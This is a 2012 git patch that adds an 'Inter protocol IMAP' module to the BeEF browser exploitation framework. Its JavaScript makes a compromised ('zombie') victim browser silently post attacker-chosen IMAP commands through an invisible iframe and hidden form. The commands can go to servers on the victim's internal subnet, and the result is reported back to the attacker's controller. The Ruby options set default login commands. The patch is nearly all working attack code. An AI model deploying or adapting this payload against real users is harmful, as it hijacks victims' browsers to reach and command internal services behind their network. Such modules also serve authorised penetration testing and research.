From ee65dd1f6cb0614843ef670d8ef33553f202064b Mon Sep 17 00:00:00 2001 From: Juan Galiana Date: Sat, 21 Jan 2012 18:13:15 +0000 Subject: [PATCH] Added IPEC IMAP module. Fixed issue 64 IPEC IMAP module ported from BeEF-0.4.0.0 --- modules/ipec/command.js | 48 ++++++++++++++++++++++++++++++++++++++++ modules/ipec/config.yaml | 26 ++++++++++++++++++++++ modules/ipec/module.rb | 30 +++++++++++++++++++++++++ 3 files changed, 104 insertions(+) create mode 100644 modules/ipec/command.js create mode 100644 modules/ipec/config.yaml create mode 100644 modules/ipec/module.rb diff --git a/modules/ipec/command.js b/modules/ipec/command.js new file mode 100644 index 000000000..130db0727 --- /dev/null +++ b/modules/ipec/command.js @@ -0,0 +1,48 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +/** + * Inter protocol IMAP module + * Ported from BeEF-0.4.0.0 by jgaliana (Original author: Wade) + * + */ +beef.execute(function() { + + var server = '<%= @server %>'; + var port = '<%= @port %>'; + var commands = '<%= @commands %>'; + + var target = "http://" + server + ":" + port + "/abc.html"; + var iframe = beef.dom.createInvisibleIframe(); + + var form = document.createElement('form'); + form.setAttribute('name', 'data'); + form.setAttribute('action', target); + form.setAttribute('method', 'post'); + form.setAttribute('enctype', 'multipart/form-data'); + + var input = document.createElement('input'); + input.setAttribute('id', 'data1') + input.setAttribute('name', 'data1') + input.setAttribute('type', 'hidden'); + input.setAttribute('value', commands); + form.appendChild(input); + + iframe.contentWindow.document.body.appendChild(form); + form.submit(); + + beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=IMAP4 commands sent"); + +}); diff --git a/modules/ipec/config.yaml b/modules/ipec/config.yaml new file mode 100644 index 000000000..618bd3255 --- /dev/null +++ b/modules/ipec/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + inter_protocol_imap: + enable: true + category: "IPEC" + name: "IMAP" + description: "Using Inter-protocol Communication (IPEC) zombie browser will send commands to an IMAP4 server. The target address can be on the zombie's subnet which is potentially not directly accessible from the Internet." + authors: ["jgaliana", "wade"] + target: + working: ["FF", "C", "S", "O"] + not_working: ["IE"] diff --git a/modules/ipec/module.rb b/modules/ipec/module.rb new file mode 100644 index 000000000..7765a3437 --- /dev/null +++ b/modules/ipec/module.rb @@ -0,0 +1,30 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Inter_protocol_imap < BeEF::Core::Command + + def self.options + return [ + {'name' => 'server', 'ui_label' => 'IMAP Server', 'value' => '127.0.0.1'}, + {'name' => 'port', 'ui_label' => 'Port', 'value' => '220'}, + {'name' => 'commands', 'ui_label' => 'Commands', 'type' => 'textarea', 'value' => 'a01 login root password\na002 logout'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end